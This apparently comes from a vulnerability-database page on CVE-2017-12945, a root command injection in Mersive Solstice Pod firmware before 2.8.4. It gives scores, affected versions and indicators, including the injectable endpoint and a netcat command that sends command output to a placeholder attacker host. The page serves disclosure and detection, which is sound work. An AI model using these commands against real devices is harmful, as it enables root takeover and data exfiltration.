CVE-2017-12945: Insufficient validation of user-supplied input for the Solstice Pod before 2.8.4 networking configuration enables authenticated attackers to execute arbitrary…

PriorityP272high8.8CVSS 3.1

AVNACLPRLUINSUCHIHAH

EXPLOIT

EPSS

17.45%

96.7th percentile

Insufficient validation of user-supplied input for the Solstice Pod before 2.8.4 networking configuration enables authenticated attackers to execute arbitrary commands as root.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
mersive	solstice_firmware	< 2.8.4	2.8.4

Detection & IOCsextracted from sources · hover to see the quote

urlhttp://{rhost}/Config/service/saveData↗

path/Config/service/saveData↗

path/Config/config.html↗

path/data/local/tmp/rce.tmp↗

commandbusybox nc {lhost} {lport} < /data/local/tmp/rce.tmp↗

commandrm -f /data/local/tmp/rce.tmp↗

·The exploit requires valid administrator credentials; unauthenticated exploitation is not possible. The default password field is an empty string, meaning devices with no password set are trivially exploitable. ↗
·The vulnerability affects Solstice Pod firmware versions prior to 2.8.4; version 2.8.0 is confirmed tested. ↗
·The injection is blind (no direct HTTP response output); the exploit uses a secondary out-of-band channel (netcat to attacker-controlled host) to retrieve command results. ↗
·Commands are executed as root on the target device. ↗

CVSS provenance

nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

nvdv2.09.0CRITICALAV:N/AC:L/Au:S/C:C/I:C/A:C

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.